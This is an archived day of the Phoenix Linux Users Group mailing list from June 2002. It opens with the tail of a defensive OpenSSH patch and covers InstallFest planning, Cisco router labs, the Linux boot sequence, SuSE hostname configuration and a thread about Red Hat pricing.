-r1.18 auth2-chall.c --- auth2-chall.c 19 Jun 2002 00:27:55 -0000 1.18 +++ auth2-chall.c 26 Jun 2002 09:37:03 -0000 @@ -256,6 +256,8 @@ authctxt->postponed = 0; /* reset */ nresp = packet_get_int(); + if (nresp > 100) + fatal("input_userauth_info_response: nresp too big %u", nresp); if (nresp > 0) { response = xmalloc(nresp * sizeof(char*)); for (i = 0; i < nresp; i++) B: Index: auth2-pam.c =================================================================== RCS file: /var/cvs/openssh/auth2-pam.c,v retrieving revision 1.12 diff -u -r1.12 auth2-pam.c --- auth2-pam.c 22 Jan 2002 12:43:13 -0000 1.12 +++ auth2-pam.c 26 Jun 2002 10:12:31 -0000 @@ -140,6 +140,15 @@ nresp = packet_get_int(); /* Number of responses. */ debug("got %d responses", nresp); + + if (nresp != context_pam2.num_expected) + fatal("%s: Received incorrect number of responses " + "(expected %u, received %u)", __func__, nresp, + context_pam2.num_expected); + + if (nresp > 100) + fatal("%s: too many replies", __func__); + for (i = 0; i < nresp; i++) { int j = context_pam2.prompts[i]; ------------ From plug-discuss@lists.plug.phoenix.az.us Wed Jun 26 16:21:16 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jim) Date: Wed, 26 Jun 2002 09:21:16 -0700 Subject: InstallFest & StarOffice? In-Reply-To: References: Message-ID: <0206260921160S.07972@nova.wedge.org> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Go For It! The more "big kids" who jump on board, the better. On Wednesday 26 June 2002 07:47, you wrote: > I'm contacting the educational distribution rep > for Sun StarOffice today regarding some licenses > for my office. Would anyone be opposed to my > inviting them to sponsor the InstallFest? Are > we entirely dedicated to OpenOffice, or would > it be OK to also have StarOffice on site (and > potentially for sale)? > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss - -- Jim Freedom is worth protecting -----BEGIN PGP SIGNATURE----- Version: PGP 6.5.8 iQA/AwUBPRnp/Csk3ywszI1FEQIzjQCeOXt/lJIPsqEW8sw01N7wu6wwW28AoKwY Gacak1KvYImB+gek1pJTNrmr =AQ7k -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Wed Jun 26 16:15:39 2002 From: plug-discuss@lists.plug.phoenix.az.us (William Lindley) Date: Wed, 26 Jun 2002 09:15:39 -0700 (MST) Subject: InstallFest & StarOffice? In-Reply-To: Message-ID: Any sponsor who will agree, is a fine sponsor in my book. Hey, if Bill Gates wants to be a sponsor, that's fine too. From plug-discuss@lists.plug.phoenix.az.us Wed Jun 26 16:31:53 2002 From: plug-discuss@lists.plug.phoenix.az.us (Tom Achtenberg) Date: Wed, 26 Jun 2002 09:31:53 -0700 Subject: InstallFest & StarOffice? Message-ID: <4A8DFDA6B395D411A11B00508BEE23FE76B523@mail.int.fh.org> Maybe he could resurrect the old Unix version of Outlook..... -----Original Message----- From: William Lindley [mailto:wlindley@wlindley.com] Sent: Wednesday, June 26, 2002 9:16 AM To: plug-discuss@lists.plug.phoenix.az.us Subject: Re: InstallFest & StarOffice? Any sponsor who will agree, is a fine sponsor in my book. Hey, if Bill Gates wants to be a sponsor, that's fine too. ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Wed Jun 26 16:35:31 2002 From: plug-discuss@lists.plug.phoenix.az.us (Derek Neighbors) Date: Wed, 26 Jun 2002 11:35:31 -0500 (CDT) Subject: West Side InstallFest In-Reply-To: Message-ID: > 4. I will start an old war here. I would love to see PLUG have a membership database, that let people list their specialities etc.. This would be nice so that if we wanted to ever do mailings for things like install fests guest speakers and such, but more importantly if someone says "I want to install Free BSD on an AMIGA" (or something) we could help find someone who might have experience in that. More over, it would be nice to have people coming to the install fests sign up so we could do adequate followup and inform them of training and the likes. I realize much of this group is very strict privacy and has a paranoia of giving their data to people, what I'm proposing would be strictly optional. -Derek From plug-discuss@lists.plug.phoenix.az.us Wed Jun 26 17:07:05 2002 From: plug-discuss@lists.plug.phoenix.az.us (Logan Kennelly) Date: Wed, 26 Jun 2002 10:07:05 -0700 Subject: West Side InstallFest In-Reply-To: References: Message-ID: <200206261007.11942.voltage_spike@fastmail.fm> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On Wednesday 26 June 2002 09:35 am, Derek Neighbors wrote: > I will start an old war here. I would love to see PLUG have a membership > database, that let people list their specialities etc.. This would be > nice so that if we wanted to ever do mailings for things like install > fests guest speakers and such, but more importantly if someone says "I > want to install Free BSD on an AMIGA" (or something) we could help find > someone who might have experience in that. > > More over, it would be nice to have people coming to the install fests > sign up so we could do adequate followup and inform them of training and > the likes. How would this be significantly different from a posting to the PLUG mailing list? An expert who sees the title "Free BSD on an AMIGA" is just as likely to volunteer with or without being registered. Additionally, please lose and gain skills constantly, but probably do not wish to maintain a PLUG profile (at least, I don't particularly care to). About the install-festees (can we call them that?), I am also in favor of the earlier suggestion that they sign onto the mailing list through a "subscriber box" while they are present. This way the followup and announcements would be along the lines of 30-50 messages a day! Certainly that is enough. ;-) It is a good idea, I just don't see it as being necessary given the nature of the PLUG mailing list. - -- Logan Kennelly ,,, (. .) - --ooO-(_)-Ooo-- -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQE9GfS9pNoctRtUIRQRArolAJ9P/In24vvFRWjYE/Fd6MbEl9QaiACghQcu 7JXOEtj1qTBgP/1cPCDVp3c= =A328 -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Wed Jun 26 17:27:10 2002 From: plug-discuss@lists.plug.phoenix.az.us (Raymond Cantwell) Date: Wed, 26 Jun 2002 10:27:10 -0700 Subject: Router Simulator Message-ID: <3D19F96E.5080600@qwest.net> Hola, I was wondering if anybody new where i could get a Cisco router simulator that ran under Linux. I have one for my wifes M$ box but, need one for my linux box so i can use it outside of the house. Ray malbojia@qwest.net From plug-discuss@lists.plug.phoenix.az.us Wed Jun 26 17:36:17 2002 From: plug-discuss@lists.plug.phoenix.az.us (Don Calfa) Date: Wed, 26 Jun 2002 10:36:17 -0700 Subject: Hello I'm new (kinda) References: <20020626080850.51634.qmail@web13408.mail.yahoo.com> Message-ID: <3D19FB91.7020504@netscape.net> Are you able to play Region 1 DVD's? I am only able to play region free DVD's on Mandrake 8.2 bob smith wrote: >Hello Kyle, Welcome aboard. > > > >>Anyways, I'd like to extend my thanks to everyone in >>and running this >>group; You guys really do a stellar job. >> >> >> > > > >>-Kyle >>Linux: It's a good thing. >> >> >Don't forget Tux's pitchfork toting cousin :). I just >got perfect dvd playback in freebsd which is something >I never could accomplish in Linux (My own fault though >I would assume since I'm using the linux modules to do >this). Just out of curiosity was there any mention of >FreeBSD at the latest installfest? > >__________________________________________________ >Do You Yahoo!? >Yahoo! - Official partner of 2002 FIFA World Cup >http://fifaworldcup.yahoo.com >________________________________________________ >See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > >PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us >http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > From plug-discuss@lists.plug.phoenix.az.us Wed Jun 26 17:38:42 2002 From: plug-discuss@lists.plug.phoenix.az.us (Derek Neighbors) Date: Wed, 26 Jun 2002 12:38:42 -0500 (CDT) Subject: West Side InstallFest In-Reply-To: <200206261007.11942.voltage_spike@fastmail.fm> Message-ID: > How would this be significantly different from a posting to the PLUG mailing > list? An expert who sees the title "Free BSD on an AMIGA" is just as > likely to volunteer with or without being registered. Additionally, please > lose and gain skills constantly, but probably do not wish to maintain a > PLUG profile (at least, I don't particularly care to). Many people are not willing to get 100's of emails a day, so will not subscribe to high traffic list serv. You could then argue use the announce list. Email lists are good for somethings, but they are no substitute for a good contact database. GNU\Linux is good, but it doesnt sell itself. (at least not at exponential rates) If we want to keep up we will need to be more organized. Recent calls to action politically are an example, if there was a database and people were able to flag, 'interested in lobbying' or such then it would be easier to mobilize quickly. Actually I will stop, as this boils down to a privacy debate, not a usage debate. The fact is many people are paranoid of having their name on a list, any list, for any reason. Regardless of usefulness their opinion will not be changed. > It is a good idea, I just don't see it as being necessary given the nature > of the PLUG mailing list. The nature of the PLUG list is much more like a conversation at a bar (read lots of off topic stuff, and im not advocating we change that) than a way to exchange direct contact that is highly specific. -Derek From plug-discuss@lists.plug.phoenix.az.us Wed Jun 26 17:40:57 2002 From: plug-discuss@lists.plug.phoenix.az.us (Derek Neighbors) Date: Wed, 26 Jun 2002 12:40:57 -0500 (CDT) Subject: Router Simulator In-Reply-To: <3D19F96E.5080600@qwest.net> Message-ID: At one time there was a presentation by a fellow going through Cisco certification that had setup an environment and was willing to let others use it and play and help anyone interested use Linux to study for Cisco certs. I would give you his name, but for privacy reasons we like to be anonymous so we can not help one another efficiently. (yes being sarcastic smart ass) ;) -Derek On Wed, 26 Jun 2002, Raymond Cantwell wrote: > Hola, > I was wondering if anybody new where i could get a Cisco router > simulator that ran under Linux. I have one for my wifes M$ box but, need > one for my linux box so i can use it outside of the house. > Ray > malbojia@qwest.net > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Wed Jun 26 17:34:11 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jeff James) Date: Wed, 26 Jun 2002 10:34:11 -0700 Subject: West Side InstallFest Message-ID:

It would also be nice to have a few "Fully-Functional" stations set up for "demo" purposes for anyone new to Linux who might want to see "what it can do for me".  These stations can include a couple set up as dual / multi-boot.

JJ

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From: Robert Bushman
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Subject: West Side InstallFest
Date: Wed, 26 Jun 2002 00:43:29 -0400 (EDT)
The InstallFest Post Mortem this evening was a
lot of fun, and can be briefly summarized as,
"InstallFest was great! Let's do it again!"
With that in mind the list of volunteers for the
West Side InstallFest has begun:
Flyer: Michelle Lowman
Press: Lee Einer
Site: Steve (foodog) (pending GCC approval)
Web Site: Jim Farli
Chairman: Bob Bushman
Sponsor Wrangler: Available
Installers: Anyone here ever installed Linux before?
Other: How would you like to help?
It was mentioned that der.hans provided quite
a bit of invaluable wiring and power gear, that
Alan has an appreciable network of sponsor
contacts (and Jim may be able to bend the ear
of someone at O'Reilly), and that William
Lindley might have some organizational advice.
Of course, your help is appreciated in any
area you can support.
As a tentative date, I'd like to suggest Saturday,
September 28. Jim suggested this would give
students time to settle into the fall semester
and start looking for weekend distractions.
On potential improvements, some things that caught
my attention at the post mortem were:
1. More stations to allow more simultaneous installs.
2. Preliminary survey to identify users who want
specialized installs.
3. Trans/Post-liminary survey to record the gear
being used, OS being replaced, FAQs, etc.
4.
Bob
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From plug-discuss@lists.plug.phoenix.az.us Wed Jun 26 17:41:05 2002 From: plug-discuss@lists.plug.phoenix.az.us (Lynn David Newton) Date: Wed, 26 Jun 2002 10:41:05 -0700 Subject: Linux boot sequence Message-ID: <15641.64689.269204.365137@bela.interhack.net> Can anyone point me to a Web page that explains the Linux boot sequence at a high level? I'm not looking for nitty gritty information. In fact, I'm talking about skipping entirely over the details of what goes on in the kernel. I mean something like: o Kernel loads and starts o init starts o inittab looked at o runs through startup scripts ... etc., but I need to get the pieces in the right order. I'll be teaching a class that includes a birds eye view of Linux booting and shutdown, and need to be sure I've got my information straight. I need this sorta soon, so direct email responses would be much appreciated, since I tend to miss some things on the list. Thanks much From plug-discuss@lists.plug.phoenix.az.us Wed Jun 26 17:53:11 2002 From: plug-discuss@lists.plug.phoenix.az.us (Lynn David Newton) Date: Wed, 26 Jun 2002 10:53:11 -0700 Subject: Linux boot sequence In-Reply-To: <15641.64689.269204.365137@bela.interhack.net> References: <15641.64689.269204.365137@bela.interhack.net> Message-ID: <15641.65415.744992.78794@bela.interhack.net> Never mind ... Lynn> Can anyone point me to a Web page that explains the Lynn> Linux boot sequence ... I found a great one at http://www.yolinux.com/TUTORIALS/LinuxTutorialInitProcess.html in case anyone is looking for such a thing. (This looks like a pretty good series of tutorials, BTW.) No need to respond, I'll just use this. Sorry I neglected to sign my last message. -- Lynn David Newton Phoenix, AZ http://www.eecs.umich.edu/ldn From plug-discuss@lists.plug.phoenix.az.us Wed Jun 26 18:20:44 2002 From: plug-discuss@lists.plug.phoenix.az.us (Bob George) Date: Wed, 26 Jun 2002 11:20:44 -0700 Subject: Router Simulator References: Message-ID: <3D1A05FC.4020901@ttlexceeded.com> Derek Neighbors wrote: >At one time there was a presentation by a fellow going through Cisco >certification that had setup an environment and was willing to let others >use it and play and help anyone interested use Linux to study for Cisco >certs. > I've got a (Linux-based) lab set up at http://lab.ttlexceeded.com:8201 that anyone's welcome to use. There are five Cisco 2500-series routers in the pod, with live token-ring and ethernet. The arrangement will allow frame switch configurations, ptp and multipoint OSPF, etc. I get about 10-15 hours of usage between them daily, so there's usually one or two free most of the time. >I would give you his name, but for privacy reasons we like to be anonymous >so we can not help one another efficiently. (yes being sarcastic smart >ass) ;) > I did a presentation on routing last year. Not sure if I'm the party to which you are referring though. :) - Bob From plug-discuss@lists.plug.phoenix.az.us Wed Jun 26 18:26:46 2002 From: plug-discuss@lists.plug.phoenix.az.us (Kyle OMalley) Date: Wed, 26 Jun 2002 11:26:46 -0700 Subject: Hello I'm new (kinda) In-Reply-To: <20020626080850.51634.qmail@web13408.mail.yahoo.com> References: <20020625202707.GB31500@aries.evilmascot.com> <20020626080850.51634.qmail@web13408.mail.yahoo.com> Message-ID: <20020626182646.GA31947@aries.evilmascot.com> On Wed, Jun 26, 2002 at 01:08:50AM -0700, bob smith wrote: > Hello Kyle, Welcome aboard. > > > Anyways, I'd like to extend my thanks to everyone in > > and running this > > group; You guys really do a stellar job. > > > > > -Kyle > > Linux: It's a good thing. > Don't forget Tux's pitchfork toting cousin :). I just > got perfect dvd playback in freebsd which is something > I never could accomplish in Linux (My own fault though > I would assume since I'm using the linux modules to do > this). Just out of curiosity was there any mention of > FreeBSD at the latest installfest? > > __________________________________________________ > Do You Yahoo!? > Yahoo! - Official partner of 2002 FIFA World Cup > http://fifaworldcup.yahoo.com > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss I also use fbsd in a number of places and really enjoy it. My only problem is it obviously doesnt have the support and momentum like linux does. The consistency and stability (when the drivers are highly developed) are killer, along with ffs and and REALLY like the fact it uses disk slices as compared to using dos paritioning. I use it on my samba servers, plus I've built a box that does bridging/traffic shapping (using dummynet). Works AMAZINGLY well and is a million times easier to implement compared to cbq stuff on linux. I wish there were a monthly bsd meeting. Is there? I seem to recall searching them out awhile back but all I came up with was a broken website. -Kyle From plug-discuss@lists.plug.phoenix.az.us Wed Jun 26 18:29:06 2002 From: plug-discuss@lists.plug.phoenix.az.us (Larry Lauer) Date: Wed, 26 Jun 2002 11:29:06 -0700 Subject: Router Simulator Message-ID: <2AAC72149C827944B96C854ABD0BCAFF1A4E0B@azmscorp01.corp.azms> Not sure if this will be of any use have you tried setting up wine on the linux box to see if you could get the sim from the other system to run. Just a thought. Larry -----Original Message----- From: Derek Neighbors [mailto:derek@gnue.org] Sent: Wednesday, June 26, 2002 10:41 AM To: PLUG-discuss Subject: Re: Router Simulator At one time there was a presentation by a fellow going through Cisco certification that had setup an environment and was willing to let others use it and play and help anyone interested use Linux to study for Cisco certs. I would give you his name, but for privacy reasons we like to be anonymous so we can not help one another efficiently. (yes being sarcastic smart ass) ;) -Derek On Wed, 26 Jun 2002, Raymond Cantwell wrote: > Hola, > I was wondering if anybody new where i could get a Cisco router > simulator that ran under Linux. I have one for my wifes M$ box but, need > one for my linux box so i can use it outside of the house. > Ray > malbojia@qwest.net > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Wed Jun 26 18:25:58 2002 From: plug-discuss@lists.plug.phoenix.az.us (Bob George) Date: Wed, 26 Jun 2002 11:25:58 -0700 Subject: Router Simulator References: <3D19F96E.5080600@qwest.net> Message-ID: <3D1A0736.1030805@ttlexceeded.com> Raymond Cantwell wrote: > I was wondering if anybody new where i could get a Cisco router > simulator that ran under Linux. I have one for my wifes M$ box but, > need one for my linux box so i can use it outside of the house. I'm not sure about simulators, but you can make your Linux box into a live router using Zebra. Zebra uses a very Cisco-like interface. Me and some pals hooked up our home systems via Zebra to create the OpenWISP (Worldwide Internet Simulation Project) -- a grandiose name for our little distributed routing lab. I had my Linux box and five routers, another guy had a Cisco router and another only a Linux box. We were able to set up some sophisticated BGP routing scenarios that helped me ace that portion of the CCNP exams. If you have a handful of Linux boxen, or even VMware, Zebra can help add complexity to your routing scenarios. What's more, it's the "real thing", so you wind up with more of an idea of the "real world" than with many simulators. BGP wasn't really interesting until we had 7 or 8 routers and a few ASen going. You can easily miss the finer points of route redistribution with only 2 or 3 routers. I mentioned my free router pod (http://lab.ttlexceeded.com:8201) in a separate message to Derek in this thread. - Bob From plug-discuss@lists.plug.phoenix.az.us Wed Jun 26 18:25:44 2002 From: plug-discuss@lists.plug.phoenix.az.us (William Lindley) Date: Wed, 26 Jun 2002 11:25:44 -0700 (MST) Subject: Router Simulator In-Reply-To: Message-ID: Try FreeSCO --- http://www.freesco.org \\/ From plug-discuss@lists.plug.phoenix.az.us Wed Jun 26 18:40:07 2002 From: plug-discuss@lists.plug.phoenix.az.us (Derek Neighbors) Date: Wed, 26 Jun 2002 13:40:07 -0500 (CDT) Subject: Router Simulator In-Reply-To: <3D1A05FC.4020901@ttlexceeded.com> Message-ID: > >I would give you his name, but for privacy reasons we like to be anonymous > >so we can not help one another efficiently. (yes being sarcastic smart > >ass) ;) > > > I did a presentation on routing last year. Not sure if I'm the party to > which you are referring though. :) Definitely you are, man was the presentation that long ago. :) I was going to add I think his first name is Bob, but wasnt sure if that was right. -Derek From plug-discuss@lists.plug.phoenix.az.us Wed Jun 26 18:38:31 2002 From: plug-discuss@lists.plug.phoenix.az.us (Bob George) Date: Wed, 26 Jun 2002 11:38:31 -0700 Subject: SSH - Preparing for the big one (was Re: SSH Exploit Revealed (fwd)) References: Message-ID: <3D1A0A27.10207@ttlexceeded.com> Jay wrote: >*** OpenSSH Remote Root Exploit *** > >Hey all. I just sent this to AZIPA and considering the severe impact of a >remote root exploit, and the fact that many of you are probably running >OpenSSH, I thought I'd forward it to PLUG too. Details below: > I've been following this with some concern since I run ssh for my little routing lab. That *used* to make me feel better. Anyhow, I'm running Debian and just did an apt-get dist-upgrade to OpenSSH 3.3p1-0.0potato6. I run sshd only on a non-default port *not* covered by nmap by default. I think I'm in pretty good shape, but wanted to check with others and see if there are any other recommendations (short of shutting it off). I also noticed the following in my log today. I had updated to 3.3 a couple of days ago, so that's what was running when this showed. I just don't know enough about the innards of ssh to know if this is an issue: Jun 26 07:50:09 localhost sshd[14694]: fatal: mm_request_send: write Thanks to logcheck, things like that get noticed. That's the only occurence, and everything else looks like normal activity. - Bob From plug-discuss@lists.plug.phoenix.az.us Wed Jun 26 18:39:10 2002 From: plug-discuss@lists.plug.phoenix.az.us (slr) Date: Wed, 26 Jun 2002 11:39:10 -0700 Subject: SuSE 7.3 sparc64 Message-ID: <200206261139.10339.zen2now@qwest.net> I installed SuSE 7.3 on my Sun Ultra 5, and my current issue is changing my hostname without using YaST. i made the change in /etc/hosts and /etc/HOSTNAME, but there seems to be another file, or other files that contain the real hostname. so editing /etc/hosts or /etc/HOSTNAME have no effect on the machines hostname. just a little curious as to where the "Real Hostname" is located. BTW this is my first time really working with SuSE, RH and MDK have been my flavors of choice. slr From plug-discuss@lists.plug.phoenix.az.us Wed Jun 26 18:59:20 2002 From: plug-discuss@lists.plug.phoenix.az.us (Bob George) Date: Wed, 26 Jun 2002 11:59:20 -0700 Subject: Router Simulator References: Message-ID: <3D1A0F08.1010502@ttlexceeded.com> William Lindley wrote: >Try FreeSCO --- http://www.freesco.org > No doubt a nice package for anyone setting up a small gateway/router/firewall, but I'm not sure how relevant it would be for someone looking for Cisco study. I don't even see a routing daemon listed on the standard config. - Bob From plug-discuss@lists.plug.phoenix.az.us Wed Jun 26 19:24:13 2002 From: plug-discuss@lists.plug.phoenix.az.us (Richard L. Proctor) Date: Wed, 26 Jun 2002 12:24:13 -0700 Subject: Crappy Products Cost More!! Message-ID: <000c01c21d47$0e4dd2e0$0e02a8c0@krycom> This is a multi-part message in MIME format. ------=_NextPart_000_0009_01C21D0C.61B65EB0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Is it my imagination or does it seem that the worst products always = costs more. ie. If you want Windows XP you plan on paying $179. for = the home version and more for the professional version. Again with = RedHat you have a $79.95 personal or workstation edition and comes with = 3 cd's. Get the professional version for around $199.00 and i'm not = sure how many cd's come with it. Is RedHat trying to compete with = Microsoft on who can supply the most expensive product? Before anyone goes off saying well you can just download the distro and = don't have to pay those prices. I am thinking of the newbies. I would = never hand a newbie 3 cd's and say here ya go. I would like to have the = documentation to go with it. Of course Redhat and Windows both give you = wafer thin manuals. SuSE and Mandrake give you good size manuals with = plenty of information packed in them. Also SuSE Professional is only = $79.95 and comes with 7 cd's and one DVD. The DVD had everything all 7 = cd's have and you don't have to do any disk swaps. I have worked with Redhat, Mandrake, and SuSE and it seems that Redhat = lags far behind the competitors. Try to install Redhat on a seperate = hard disk with Windows XP on the first hard disk in NTFS format, Redhat = won't even make an entry for Windows XP in lilo. I can imagine the = panic attack a newbies face after the redhat install and the only option = is Redhat. LOL That is of course if you can get Redhat to install in = the first place. It don't like being on a second drive or on a partiton = with windows that's any larger than 8 gigs. SuSE has always installed on any drive no matter what the size or what = drive since version 7.1 and earlier maybe. This is a serious issue that = Redhat needs to address. I dunno, I just don't see how the cost of Redhat boxed distro's is = justified. Maybe i'm missing the point? Is there anyone out there that = can show me the point? ------=_NextPart_000_0009_01C21D0C.61B65EB0 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
Is it my imagination or does it seem = that the worst=20 products always costs more.  ie.  If you want Windows XP you = plan on=20 paying $179. for the home version and more for the professional = version. =20 Again with RedHat you have a $79.95 personal or workstation edition and = comes=20 with 3 cd's.  Get the professional version for around $199.00 and = i'm not=20 sure how many cd's come with it.  Is RedHat trying to compete with=20 Microsoft on who can supply the most expensive product?
 
Before anyone goes off saying well you = can just=20 download the distro and don't have to pay those prices.  I am = thinking of=20 the newbies.  I would never hand a newbie 3 cd's and say here ya = go. =20 I would like to have the documentation to go with it.  Of course = Redhat and=20 Windows both give you wafer thin manuals.  SuSE and Mandrake give = you good=20 size manuals with plenty of information packed in them.  Also SuSE=20 Professional is only $79.95 and comes with 7 cd's and one DVD.  The = DVD had=20 everything all 7 cd's have and you don't have to do any disk = swaps.
 
I have worked with Redhat, Mandrake, = and SuSE and=20 it seems that Redhat lags far behind the competitors.  Try to = install=20 Redhat on a seperate hard disk with Windows XP on the first hard disk in = NTFS=20 format,  Redhat won't even make an entry for Windows XP in = lilo.  I=20 can imagine the panic attack a newbies face after the redhat install and = the=20 only option is Redhat.  LOL  That is of course if you can get = Redhat=20 to install in the first place. It don't like being on a second drive or = on a=20 partiton with windows that's any larger than 8 gigs.
 
SuSE has always installed on any drive = no matter=20 what the size or what drive since version 7.1 = and earlier maybe. =20 This is a serious issue that Redhat needs to address.
 
I dunno,  I just don't see how the = cost of=20 Redhat boxed distro's is justified.  Maybe i'm missing the = point?  Is=20 there anyone out there that can show me the point?
 
------=_NextPart_000_0009_01C21D0C.61B65EB0-- From plug-discuss@lists.plug.phoenix.az.us Wed Jun 26 20:04:57 2002 From: plug-discuss@lists.plug.phoenix.az.us (Raymond Cantwell) Date: Wed, 26 Jun 2002 13:04:57 -0700 Subject: Router Simulator References: <3D19F96E.5080600@qwest.net> <3D1A0736.1030805@ttlexceeded.com> Message-ID: <3D1A1E69.8070102@qwest.net> Bob George wrote: > Raymond Cantwell wrote: > >> I was wondering if anybody new where i could get a Cisco router >> simulator that ran under Linux. I have one for my wifes M$ box but, >> need one for my linux box so i can use it outside of the house. > > > I'm not sure about simulators, but you can make your Linux box into a > live router using Zebra. Zebra uses a very Cisco-like interface. Me > and some pals hooked up our home systems via Zebra to create the > OpenWISP (Worldwide Internet Simulation Project) -- a grandiose name > for our little distributed routing lab. I had my Linux box and five > routers, another guy had a Cisco router and another only a Linux box. > We were able to set up some sophisticated BGP routing scenarios that > helped me ace that portion of the CCNP exams. > > If you have a handful of Linux boxen, or even VMware, Zebra can help > add complexity to your routing scenarios. What's more, it's the "real > thing", so you wind up with more of an idea of the "real world" than > with many simulators. BGP wasn't really interesting until we had 7 or > 8 routers and a few ASen going. You can easily miss the finer points > of route redistribution with only 2 or 3 routers. > > I mentioned my free router pod (http://lab.ttlexceeded.com:8201) in a > separate message to Derek in this thread. > > - Bob > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail > doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > Bob thank you the lab will be very helpfull. You rock man. Ray From plug-discuss@lists.plug.phoenix.az.us Wed Jun 26 19:43:12 2002 From: plug-discuss@lists.plug.phoenix.az.us (Tony Wasson) Date: Wed, 26 Jun 2002 12:43:12 -0700 Subject: Router Simulator / try a pod! References: <3D19F96E.5080600@qwest.net> Message-ID: <035501c21d49$b59f9db0$1f67c6d0@chelly> I'm sure Bob G doesn't want to blow his own horn, but you might look into his pod. You could hit it via telnet from your Linux box. http://lab.ttlexceeded.com:8201 Tony ----- Original Message ----- From: "Raymond Cantwell" To: "PLUG-discuss" Sent: Wednesday, June 26, 2002 10:27 Subject: Router Simulator > Hola, > I was wondering if anybody new where i could get a Cisco router > simulator that ran under Linux. I have one for my wifes M$ box but, need > one for my linux box so i can use it outside of the house. > Ray > malbojia@qwest.net > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Thu Jun 27 08:23:07 2002 From: plug-discuss@lists.plug.phoenix.az.us (J) Date: Thu, 27 Jun 2002 01:23:07 -0700 Subject: Router Simulator In-Reply-To: <3D19F96E.5080600@qwest.net> References: <3D19F96E.5080600@qwest.net> Message-ID: On Wednesday 26 June 2002 10:27 am, you wrote: Would something like Zebra work for you? www.zebra.org > Hola, > I was wondering if anybody new where i could get a Cisco router > simulator that ran under Linux. I have one for my wifes M$ box but, need > one for my linux box so i can use it outside of the house. > Ray > malbojia@qwest.net > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Wed Jun 26 20:45:45 2002 From: plug-discuss@lists.plug.phoenix.az.us (der.hans) Date: Wed, 26 Jun 2002 13:45:45 -0700 (MST) Subject: SuSE 7.3 sparc64 In-Reply-To: <200206261139.10339.zen2now@qwest.net> Message-ID: Am 26. Jun, 2002 schwätzte slr so: > I installed SuSE 7.3 on my Sun Ultra 5, and my current issue is changing my > hostname without using YaST. i made the change in /etc/hosts and > /etc/HOSTNAME, but there seems to be another file, or other files that > contain the real hostname. so editing /etc/hosts or /etc/HOSTNAME have no > effect on the machines hostname. just a little curious as to where the "Real > Hostname" is located. BTW this is my first time really working with SuSE, RH > and MDK have been my flavors of choice. Use the hostname command to change the active hostname. rgrep for the hostname in etc. You should find that at least your MTA has the hostname hard-coded as well. ciao, der.hans -- # https://www.LuftHans.com/ # Passwords are like underwear. You don't share them, you don't hang them on # your monitor, or under your keyboard, you don't email them, or put them on # a web site, and you must change them very often. -- Unknown From plug-discuss@lists.plug.phoenix.az.us Wed Jun 26 20:55:35 2002 From: plug-discuss@lists.plug.phoenix.az.us (der.hans) Date: Wed, 26 Jun 2002 13:55:35 -0700 (MST) Subject: Doing the Right Thing (revisited) In-Reply-To: <3D192905.9262FC68@georgetoft.com> Message-ID: Am 25. Jun, 2002 schwätzte George Toft so: > While searching for more debarment guidelines, I came across these > tidbits: > =================================================================== > Title 7, Ch. 2 Arizona Administrative Code > State Board of Education > > R7-2-1161. Authority to debar or suspend > A. The governing board has the authority to debar or suspend a > person from participating in school district procurements. OK, this says they can debar a company, but doesn't require them to do so. 